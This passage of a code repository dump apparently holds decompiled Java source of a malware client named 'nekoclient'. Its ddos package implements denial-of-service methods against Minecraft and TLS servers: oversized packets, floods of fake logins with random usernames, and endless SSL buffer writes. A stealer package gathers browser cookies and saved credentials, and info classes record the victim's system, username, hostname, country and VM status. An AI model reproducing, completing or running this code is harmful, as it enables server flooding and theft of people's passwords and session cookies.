ByteBuffer.allocate(packetLength.size() + 2097151); 21 | packetLength.write(this.buffer); 22 | byte[] zeros = new byte[2097151]; 23 | Arrays.fill(zeros, (byte)0); 24 | this.buffer.put(zeros); 25 | ((Buffer)this.buffer).flip(); 26 | } 27 | 28 | @Override 29 | public void handle(SocketChannel channel) throws IOException { 30 | channel.write(this.buffer); 31 | channel.close(); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftLoginMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler; 6 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.State; 7 | import java.io.IOException; 8 | import java.math.BigInteger; 9 | import java.net.InetSocketAddress; 10 | import java.nio.ByteBuffer; 11 | import java.nio.channels.SocketChannel; 12 | import java.security.SecureRandom; 13 | import java.util.UUID; 14 | 15 | public class MinecraftLoginMethod extends MinecraftMethodHandler { 16 | private ByteBuffer buffer; 17 | private final SecureRandom random = new SecureRandom(); 18 | 19 | @Override 20 | public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException { 21 | super.init(protocol, address, host, options); 22 | this.buffer = this.createHandshakePacket(this.protocolVersion, this.host, this.port, State.LOGIN); 23 | } 24 | 25 | @Override 26 | public void handle(SocketChannel channel) throws IOException { 27 | channel.write(this.buffer.duplicate()); 28 | channel.write(this.createLoginStartPacket(new BigInteger(64, this.random).toString(16), UUID.randomUUID())); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftStatusPingMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler; 6 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.State; 7 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 8 | import java.io.IOException; 9 | import java.net.InetSocketAddress; 10 | import java.nio.Buffer; 11 | import java.nio.ByteBuffer; 12 | import java.nio.channels.SocketChannel; 13 | 14 | public class MinecraftStatusPingMethod extends MinecraftMethodHandler { 15 | private ByteBuffer buffer; 16 | 17 | @Override 18 | public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException { 19 | super.init(protocol, address, host, options); 20 | ByteBuffer handshake = this.createHandshakePacket(this.protocolVersion, this.host, this.port, State.STATUS); 21 | ByteBuffer statusRequest = this.createPacket(0, new Type[0]); 22 | ByteBuffer pingRequest = this.createPacket(1, new Type[0]); 23 | this.buffer = ByteBuffer.allocate(handshake.capacity() + statusRequest.capacity() + pingRequest.capacity()); 24 | this.buffer.put(handshake); 25 | this.buffer.put(statusRequest); 26 | this.buffer.put(pingRequest); 27 | ((Buffer)this.buffer).flip(); 28 | } 29 | 30 | @Override 31 | public void handle(SocketChannel channel) throws IOException { 32 | channel.write(this.buffer.duplicate()); 33 | channel.close(); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/MinecraftMethodHandler.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler; 6 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 7 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.BooleanType; 8 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.StringType; 9 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.UUIDType; 10 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.UnsignedShortType; 11 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.VarIntType; 12 | import dev.neko.nekoclient.utils.DNSUtil; 13 | import dev.neko.nekoclient.utils.ObjectUtil; 14 | import java.io.IOException; 15 | import java.net.InetSocketAddress; 16 | import java.nio.Buffer; 17 | import java.nio.ByteBuffer; 18 | import java.nio.channels.SocketChannel; 19 | import java.util.Objects; 20 | import java.util.UUID; 21 | 22 | public abstract class MinecraftMethodHandler implements MethodHandler { 23 | protected ProtocolVersion protocolVersion; 24 | protected String host; 25 | protected int port; 26 | protected boolean forceClose; 27 | 28 | public abstract void handle(SocketChannel var1) throws IOException; 29 | 30 | @Override 31 | public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException { 32 | this.protocolVersion = ProtocolVersion.valueOf(options.getString("protocolVersion", "V1_19_4")); 33 | this.forceClose = options.getBoolean("forceClose", false); 34 | this.host = host; 35 | this.port = address.getPort(); 36 | } 37 | 38 | @Override 39 | public InetSocketAddress transformAddress(InetSocketAddress address, String host) { 40 | if (!Objects.equals(address.getPort(), 25565)) { 41 | return MethodHandler.super.transformAddress(address, host); 42 | } else { 43 | DNSUtil.DNSEntry entry = ObjectUtil.requireNonExceptionElse(() -> DNSUtil.resolveMinecraft(host), null); 44 | return Objects.isNull(entry) ? MethodHandler.super.transformAddress(address, host) : new InetSocketAddress(entry.getHost(), entry.getPort()); 45 | } 46 | } 47 | 48 | @Override 49 | public void run(Protocol protocol, InetSocketAddress address) throws IOException { 50 | if (!Objects.equals(protocol, Protocol.TCP)) { 51 | throw new IllegalArgumentException("Unsupported protocol!"); 52 | } else { 53 | SocketChannel channel = SocketChannel.open(); 54 | channel.connect(address); 55 | if (this.forceClose) { 56 | channel.socket().setSoLinger(true, 0); 57 | } 58 | 59 | this.handle(channel); 60 | } 61 | } 62 | 63 | public ByteBuffer createHandshakePacket(ProtocolVersion protocolVersion, String host, int port, State nextState) { 64 | return this.createPacket( 65 | 0, new VarIntType(protocolVersion.getVersion()), new StringType(host), new UnsignedShortType(port), new VarIntType(nextState.getId()) 66 | ); 67 | } 68 | 69 | public ByteBuffer createLoginStartPacket(String username, UUID uuid) { 70 | if (this.protocolVersion.isHigherOrEqualTo(ProtocolVersion.V1_19_3)) { 71 | return Objects.isNull(uuid) 72 | ? this.createPacket(0, new StringType(username), new BooleanType(false)) 73 | : this.createPacket(0, new StringType(username), new BooleanType(true), new UUIDType(uuid)); 74 | } else if (this.protocolVersion.inRange(ProtocolVersion.V1_19, ProtocolVersion.V1_19_2)) { 75 | return Objects.isNull(uuid) 76 | ? this.createPacket(0, new StringType(username), new BooleanType(false), new BooleanType(false)) 77 | : this.createPacket(0, new StringType(username), new BooleanType(false), new BooleanType(true), new UUIDType(uuid)); 78 | } else { 79 | return this.createPacket(0, new StringType(username)); 80 | } 81 | } 82 | 83 | public ByteBuffer createPacket(int id, Type... types) { 84 | VarIntType packetId = new VarIntType(id); 85 | int size = packetId.size(); 86 | 87 | for(Type type : types) { 88 | size += type.size(); 89 | } 90 | 91 | ByteBuffer packetBuffer = ByteBuffer.allocate(size); 92 | packetId.write(packetBuffer); 93 | 94 | for(Type type : types) { 95 | type.write(packetBuffer); 96 | } 97 | 98 | ((Buffer)packetBuffer).flip(); 99 | VarIntType packetLength = new VarIntType(packetBuffer.capacity()); 100 | ByteBuffer buffer = ByteBuffer.allocate(packetLength.size() + packetBuffer.capacity()); 101 | packetLength.write(buffer); 102 | buffer.put(packetBuffer); 103 | ((Buffer)buffer).flip(); 104 | return buffer; 105 | } 106 | 107 | public final MinecraftMethodHandler.Packet readPacket(SocketChannel channel) throws IOException { 108 | ByteBuffer buffer = ByteBuffer.allocate(1); 109 | int packetLength = 0; 110 | int moves = 0; 111 | 112 | byte buff; 113 | do { 114 | ((Buffer)buffer).position(0); 115 | channel.read(buffer); 116 | ((Buffer)buffer).position(0); 117 | buff = buffer.get(); 118 | packetLength |= (buff & 127) << moves++ * 7; 119 | if (moves > 5) { 120 | throw new RuntimeException("VarInt too big"); 121 | } 122 | } while((buff & 128) == 128); 123 | 124 | ByteBuffer packetBuf = ByteBuffer.allocate(packetLength); 125 | channel.read(packetBuf); 126 | ((Buffer)packetBuf).flip(); 127 | return new MinecraftMethodHandler.Packet(new VarIntType().read(packetBuf), packetBuf); 128 | } 129 | 130 | public static class Packet { 131 | private final int id; 132 | private final ByteBuffer buffer; 133 | 134 | public Packet(int id, ByteBuffer buffer) { 135 | this.id = id; 136 | this.buffer = buffer; 137 | } 138 | 139 | public final int getId() { 140 | return this.id; 141 | } 142 | 143 | public final ByteBuffer getBuffer() { 144 | return this.buffer; 145 | } 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/ProtocolVersion.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft; 2 | 3 | public enum ProtocolVersion { 4 | V1_19_4(762), 5 | V1_19_3(761), 6 | V1_19_2(760), 7 | V1_19(759), 8 | V1_18_2(758), 9 | V1_18_1(757), 10 | V1_18(757), 11 | V1_17_1(756), 12 | V1_17(755), 13 | V1_16_5(754), 14 | V1_16_4(754), 15 | V1_16_3(753), 16 | V1_16_2(751), 17 | V1_16_1(736), 18 | V1_16(735), 19 | V1_15_2(578), 20 | V1_15_1(575), 21 | V1_15(573), 22 | V1_14_4(498), 23 | V1_14_3(490), 24 | V1_14_2(485), 25 | V1_14_1(480), 26 | V1_14(477), 27 | V1_13_2(404), 28 | V1_13_1(401), 29 | V1_13(393), 30 | V1_12_2(340), 31 | V1_12_1(338), 32 | V1_12(335), 33 | V1_11_2(316), 34 | V1_11_1(316), 35 | V1_11(315), 36 | V1_10(210), 37 | V1_9_4(110), 38 | V1_9_3(110), 39 | V1_9_2(109), 40 | V1_9_1(108), 41 | V1_9(107), 42 | V1_8_9(47), 43 | V1_8_8(47), 44 | V1_8_7(47), 45 | V1_8_6(47), 46 | V1_8_5(47), 47 | V1_8_4(47), 48 | V1_8_3(47), 49 | V1_8_2(47), 50 | V1_8_1(47), 51 | V1_8(47); 52 | 53 | private final int version; 54 | 55 | private ProtocolVersion(int version) { 56 | this.version = version; 57 | } 58 | 59 | public final int getVersion() { 60 | return this.version; 61 | } 62 | 63 | public final boolean isHigherThan(ProtocolVersion other) { 64 | return this.version > other.version; 65 | } 66 | 67 | public final boolean isHigherOrEqualTo(ProtocolVersion other) { 68 | return this.version >= other.version; 69 | } 70 | 71 | public final boolean isLowerThan(ProtocolVersion other) { 72 | return this.version < other.version; 73 | } 74 | 75 | public final boolean isLowerOrEqualTo(ProtocolVersion other) { 76 | return this.version <= other.version; 77 | } 78 | 79 | public boolean inRange(ProtocolVersion first, ProtocolVersion second) { 80 | return this.version >= first.version && this.version <= second.version; 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/State.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft; 2 | 3 | public enum State { 4 | HANDSHAKING(0), 5 | STATUS(1), 6 | LOGIN(2), 7 | PLAY(3); 8 | 9 | private final int id; 10 | 11 | private State(int id) { 12 | this.id = id; 13 | } 14 | 15 | public final int getId() { 16 | return this.id; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/Type.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type; 2 | 3 | import java.io.EOFException; 4 | import java.nio.ByteBuffer; 5 | 6 | public abstract class Type { 7 | protected T value; 8 | 9 | public Type(T value) { 10 | this.value = value; 11 | } 12 | 13 | public Type() { 14 | } 15 | 16 | public abstract void write(ByteBuffer var1); 17 | 18 | public T read(ByteBuffer buffer) throws EOFException { 19 | this.value = this.read0(buffer); 20 | return this.value; 21 | } 22 | 23 | protected abstract T read0(ByteBuffer var1) throws EOFException; 24 | 25 | public abstract int size(); 26 | 27 | public final T getValue() { 28 | return this.value; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/BooleanType.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl; 2 | 3 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 4 | import java.io.EOFException; 5 | import java.nio.ByteBuffer; 6 | 7 | public class BooleanType extends Type { 8 | public BooleanType(boolean value) { 9 | super(value); 10 | } 11 | 12 | public BooleanType() { 13 | } 14 | 15 | @Override 16 | public void write(ByteBuffer buffer) { 17 | buffer.put((byte)(this.value ? 1 : 0)); 18 | } 19 | 20 | protected Boolean read0(ByteBuffer buffer) throws EOFException { 21 | return buffer.get() == 1; 22 | } 23 | 24 | @Override 25 | public int size() { 26 | return 1; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/BytesType.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl; 2 | 3 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 4 | import java.io.EOFException; 5 | import java.nio.ByteBuffer; 6 | 7 | public class BytesType extends Type { 8 | private VarIntType varIntType; 9 | 10 | public BytesType(byte[] bytes) { 11 | super(bytes); 12 | this.varIntType = new VarIntType(bytes.length); 13 | } 14 | 15 | public BytesType() { 16 | this.varIntType = new VarIntType(); 17 | } 18 | 19 | @Override 20 | public void write(ByteBuffer buffer) { 21 | this.varIntType.write(buffer); 22 | buffer.put(this.value); 23 | } 24 | 25 | public byte[] read(ByteBuffer buffer) throws EOFException { 26 | byte[] bytes = (byte[])super.read(buffer); 27 | this.varIntType = new VarIntType(bytes.length); 28 | return bytes; 29 | } 30 | 31 | public byte[] read0(ByteBuffer buffer) throws EOFException { 32 | byte[] bytes = new byte[this.varIntType.read(buffer)]; 33 | buffer.get(bytes); 34 | return bytes; 35 | } 36 | 37 | @Override 38 | public int size() { 39 | return this.varIntType.size() + ((byte[])this.value).length; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/LongType.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl; 2 | 3 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 4 | import java.io.EOFException; 5 | import java.nio.ByteBuffer; 6 | 7 | public class LongType extends Type { 8 | public static final int SIZE = 8; 9 | 10 | public LongType(long value) { 11 | super(value); 12 | } 13 | 14 | public LongType() { 15 | } 16 | 17 | @Override 18 | public void write(ByteBuffer buffer) { 19 | buffer.putLong(this.value); 20 | } 21 | 22 | protected Long read0(ByteBuffer buffer) throws EOFException { 23 | return buffer.getLong(); 24 | } 25 | 26 | @Override 27 | public int size() { 28 | return 8; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/StringType.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl; 2 | 3 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 4 | import java.io.EOFException; 5 | import java.nio.ByteBuffer; 6 | 7 | public class StringType extends Type { 8 | private VarIntType varIntType; 9 | 10 | public StringType(String string) { 11 | super(string); 12 | this.varIntType = new VarIntType(string.getBytes().length); 13 | } 14 | 15 | public StringType() { 16 | this.varIntType = new VarIntType(); 17 | } 18 | 19 | @Override 20 | public void write(ByteBuffer buffer) { 21 | this.varIntType.write(buffer); 22 | buffer.put(this.value.getBytes()); 23 | } 24 | 25 | public String read(ByteBuffer buffer) throws EOFException { 26 | String string = (String)super.read(buffer); 27 | this.varIntType = new VarIntType(string.length()); 28 | return string; 29 | } 30 | 31 | public String read0(ByteBuffer buffer) throws EOFException { 32 | byte[] bytes = new byte[this.varIntType.read(buffer)]; 33 | buffer.get(bytes); 34 | return new String(bytes); 35 | } 36 | 37 | @Override 38 | public int size() { 39 | return this.varIntType.size() + this.value.getBytes().length; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/UUIDType.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl; 2 | 3 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 4 | import java.io.EOFException; 5 | import java.nio.ByteBuffer; 6 | import java.util.UUID; 7 | 8 | public class UUIDType extends Type { 9 | public UUIDType(UUID value) { 10 | super(value); 11 | } 12 | 13 | public UUIDType() { 14 | } 15 | 16 | @Override 17 | public void write(ByteBuffer buffer) { 18 | buffer.putLong(this.value.getMostSignificantBits()); 19 | buffer.putLong(this.value.getLeastSignificantBits()); 20 | } 21 | 22 | protected UUID read0(ByteBuffer buffer) throws EOFException { 23 | return new UUID(buffer.getLong(), buffer.getLong()); 24 | } 25 | 26 | @Override 27 | public int size() { 28 | return 16; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/UnsignedShortType.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl; 2 | 3 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 4 | import java.io.EOFException; 5 | import java.nio.ByteBuffer; 6 | 7 | public class UnsignedShortType extends Type { 8 | public static final int SIZE = 2; 9 | 10 | public UnsignedShortType(int value) { 11 | super(value); 12 | } 13 | 14 | public UnsignedShortType() { 15 | } 16 | 17 | @Override 18 | public void write(ByteBuffer buffer) { 19 | buffer.put((byte)(this.value >>> 8 & 0xFF)); 20 | buffer.put((byte)(this.value & 0xFF)); 21 | } 22 | 23 | public Integer read0(ByteBuffer buffer) throws EOFException { 24 | int ch1 = buffer.get(); 25 | int ch2 = buffer.get(); 26 | if ((ch1 | ch2) < 0) { 27 | throw new EOFException(); 28 | } else { 29 | return (ch1 << 8) + ch2; 30 | } 31 | } 32 | 33 | @Override 34 | public int size() { 35 | return 2; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/VarIntType.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl; 2 | 3 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 4 | import java.nio.ByteBuffer; 5 | 6 | public class VarIntType extends Type { 7 | public static final int MAX_SIZE = 2097151; 8 | public static final int MAX_BYTES = 5; 9 | 10 | public VarIntType(int value) { 11 | super(value); 12 | } 13 | 14 | public VarIntType() { 15 | } 16 | 17 | @Override 18 | public void write(ByteBuffer buffer) { 19 | int v; 20 | for(v = this.value; (v & -128) != 0; v >>>= 7) { 21 | buffer.put((byte)(v & 127 | 128)); 22 | } 23 | 24 | buffer.put((byte)v); 25 | } 26 | 27 | public Integer read0(ByteBuffer buffer) { 28 | int var = 0; 29 | int moves = 0; 30 | 31 | byte buff; 32 | do { 33 | buff = buffer.get(); 34 | var |= (buff & 127) << moves++ * 7; 35 | if (moves > 5) { 36 | throw new RuntimeException("VarInt too big"); 37 | } 38 | } while((buff & 128) == 128); 39 | 40 | return var; 41 | } 42 | 43 | @Override 44 | public int size() { 45 | int v = this.value; 46 | if (v < 0) { 47 | v = ~v; 48 | } 49 | 50 | int count = 1; 51 | 52 | while((v >>>= 7) != 0) { 53 | ++count; 54 | } 55 | 56 | return count; 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/ssl/SSLBufferFloodingMethodHandler.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.ssl; 2 | 3 | import java.io.IOException; 4 | import java.io.OutputStream; 5 | import javax.net.ssl.SSLSocket; 6 | 7 | public abstract class SSLBufferFloodingMethodHandler extends SSLWriteMethodHandler { 8 | protected byte[] buffer; 9 | 10 | @Override 11 | public void handle(SSLSocket socket) throws IOException { 12 | OutputStream outputStream = socket.getOutputStream(); 13 | 14 | while(socket.isConnected()) { 15 | outputStream.write(this.buffer); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/ssl/SSLBufferWritingMethodHandler.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.ssl; 2 | 3 | import java.io.IOException; 4 | import javax.net.ssl.SSLSocket; 5 | 6 | public abstract class SSLBufferWritingMethodHandler extends SSLWriteMethodHandler { 7 | protected byte[] buffer; 8 | 9 | @Override 10 | public void handle(SSLSocket socket) throws IOException { 11 | socket.getOutputStream().write(this.buffer); 12 | socket.close(); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/ssl/SSLWriteMethodHandler.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.ssl; 2 | 3 | import dev.neko.nekoclient.api.ddos.Protocol; 4 | import dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler; 5 | import java.io.IOException; 6 | import java.net.InetSocketAddress; 7 | import java.util.Objects; 8 | import javax.net.ssl.SSLSocket; 9 | import javax.net.ssl.SSLSocketFactory; 10 | 11 | public abstract class SSLWriteMethodHandler implements MethodHandler { 12 | private static final SSLSocketFactory FACTORY = (SSLSocketFactory)SSLSocketFactory.getDefault(); 13 | 14 | public abstract void handle(SSLSocket var1) throws IOException; 15 | 16 | @Override 17 | public void run(Protocol protocol, InetSocketAddress address) throws IOException { 18 | if (!Objects.equals(protocol, Protocol.TCP)) { 19 | throw new IllegalStateException(); 20 | } else { 21 | SSLSocket socket = (SSLSocket)FACTORY.createSocket(address.getAddress(), address.getPort()); 22 | socket.startHandshake(); 23 | this.handle(socket); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/debugger/Debugger.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.debugger; 2 | 3 | import java.io.IOException; 4 | import java.net.InetSocketAddress; 5 | import java.nio.Buffer; 6 | import java.nio.ByteBuffer; 7 | import java.nio.channels.SocketChannel; 8 | 9 | public class Debugger { 10 | private final InetSocketAddress address; 11 | private final int id; 12 | private final SocketChannel channel; 13 | 14 | public Debugger(InetSocketAddress address, int id) throws IOException { 15 | this.address = address; 16 | this.id = id; 17 | this.channel = SocketChannel.open(); 18 | } 19 | 20 | public void connect() throws IOException { 21 | this.channel.configureBlocking(true); 22 | this.channel.socket().connect(this.address, 5000); 23 | this.channel.write((ByteBuffer)((Buffer)ByteBuffer.allocate(4).putInt(this.id)).flip()); 24 | } 25 | 26 | public void close() throws IOException { 27 | this.channel.close(); 28 | } 29 | 30 | public void debug(String text) throws IOException { 31 | this.debug(text.getBytes()); 32 | } 33 | 34 | public void debug(byte[] bytes) throws IOException { 35 | this.channel.write((ByteBuffer)((Buffer)ByteBuffer.allocate(4).putInt(bytes.length)).flip()); 36 | this.channel.write(ByteBuffer.wrap(bytes)); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/disconnect/DisconnectException.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.disconnect; 2 | 3 | public class DisconnectException extends RuntimeException { 4 | private final DisconnectReason reason; 5 | 6 | public DisconnectException(DisconnectReason reason) { 7 | this.reason = reason; 8 | } 9 | 10 | public final DisconnectReason getReason() { 11 | return this.reason; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/disconnect/DisconnectReason.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.disconnect; 2 | 3 | public enum DisconnectReason { 4 | INVALID_VERSION, 5 | DUPLICATE, 6 | TIMEOUT, 7 | UNKNOWN; 8 | } 9 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/info/ClientInfo.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.info; 2 | 3 | public class ClientInfo { 4 | private final OperatingSystem operatingSystem; 5 | private final User user; 6 | private final String hardwareId; 7 | private final String ref; 8 | private final boolean virtualMachine; 9 | 10 | public ClientInfo(OperatingSystem operatingSystem, User user, String hardwareId, String ref, boolean virtualMachine) { 11 | this.operatingSystem = operatingSystem; 12 | this.user = user; 13 | this.hardwareId = hardwareId; 14 | this.ref = ref; 15 | this.virtualMachine = virtualMachine; 16 | } 17 | 18 | public final OperatingSystem getOperatingSystem() { 19 | return this.operatingSystem; 20 | } 21 | 22 | public final User getUser() { 23 | return this.user; 24 | } 25 | 26 | public final String getHardwareId() { 27 | return this.hardwareId; 28 | } 29 | 30 | public final String getRef() { 31 | return this.ref; 32 | } 33 | 34 | public final boolean isVirtualMachine() { 35 | return this.virtualMachine; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/info/OperatingSystem.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.info; 2 | 3 | public class OperatingSystem { 4 | private final String name; 5 | private final String version; 6 | private final String architecture; 7 | private final int processors; 8 | private final long totalPhysicalMemory; 9 | private final String processorName; 10 | 11 | public OperatingSystem(String name, String version, String architecture, int processors, long totalPhysicalMemory, String processorName) { 12 | this.name = name; 13 | this.version = version; 14 | this.architecture = architecture; 15 | this.processors = processors; 16 | this.totalPhysicalMemory = totalPhysicalMemory; 17 | this.processorName = processorName; 18 | } 19 | 20 | public final String getName() { 21 | return this.name; 22 | } 23 | 24 | public final String getVersion() { 25 | return this.version; 26 | } 27 | 28 | public final String getArchitecture() { 29 | return this.architecture; 30 | } 31 | 32 | public final int getProcessors() { 33 | return this.processors; 34 | } 35 | 36 | public final long getTotalPhysicalMemory() { 37 | return this.totalPhysicalMemory; 38 | } 39 | 40 | public final String getProcessorName() { 41 | return this.processorName; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/info/Side.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.info; 2 | 3 | public enum Side { 4 | CLIENT, 5 | SERVER; 6 | } 7 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/info/User.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.info; 2 | 3 | public class User { 4 | private final String name; 5 | private final String hostname; 6 | private final String home; 7 | private final String country; 8 | private final String language; 9 | 10 | public User(String name, String hostname, String home, String country, String language) { 11 | this.name = name; 12 | this.hostname = hostname; 13 | this.home = home; 14 | this.country = country; 15 | this.language = language; 16 | } 17 | 18 | public final String getName() { 19 | return this.name; 20 | } 21 | 22 | public final String getHome() { 23 | return this.home; 24 | } 25 | 26 | public final String getCountry() { 27 | return this.country; 28 | } 29 | 30 | public final String getLanguage() { 31 | return this.language; 32 | } 33 | 34 | public final String getHostname() { 35 | return this.hostname; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/info/VersionInfo.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.info; 2 | 3 | public class VersionInfo { 4 | private final Side side; 5 | private final String version; 6 | 7 | public VersionInfo(Side side, String version) { 8 | this.side = side; 9 | this.version = version; 10 | } 11 | 12 | public final Side getSide() { 13 | return this.side; 14 | } 15 | 16 | public final String getVersion() { 17 | return this.version; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/proxy/ProxyResponse.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.proxy; 2 | 3 | public enum ProxyResponse { 4 | CONNECTED, 5 | TIMED_OUT, 6 | CONNECTION_REFUSED, 7 | UNKNOWN_HOST, 8 | UNKNOWN_ERROR; 9 | } 10 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/browser/BrowserData.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.browser; 2 | 3 | import dev.neko.nekoclient.api.stealer.browser.cookie.Cookie; 4 | import dev.neko.nekoclient.api.stealer.browser.impl.credential.Credential; 5 | import java.util.ArrayList; 6 | import java.util.List; 7 | import java.util.Objects; 8 | 9 | public class BrowserData { 10 | private final List cookies = new ArrayList<>(); 11 | private final List credentials = new ArrayList<>(); 12 | 13 | public void addCookie(Cookie cookie) { 14 | if (!this.cookies.contains(cookie)) { 15 | this.cookies.add(cookie); 16 | } 17 | } 18 | 19 | public void addCredential(Credential credential) { 20 | if (!Objects.isNull(credential.getHost()) 21 | && !Objects.isNull(credential.getUsername()) 22 | && !credential.getUsername().isEmpty() 23 | && !Objects.isNull(credential.getPassword()) 24 | && !credential.getPassword().isEmpty() 25 | && !this.credentials.contains(credential)) { 26 | this.credentials.add(credential); 27 | } 28 | } 29 | 30 | public final List getCookies() { 31 | return this.cookies; 32 | } 33 | 34 | public final List getCredentials() { 35 | return this.credentials; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/browser/cookie/Cookie.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.browser.cookie; 2 | 3 | import java.util.Objects; 4 | 5 | public class Cookie { 6 | private final String host; 7 | private final String path; 8 | private final String name; 9 | private final String value; 10 | private final long expires; 11 | private final boolean secure; 12 | private final boolean httpOnly; 13 | 14 | public Cookie(String host, String path, String name, String value, long 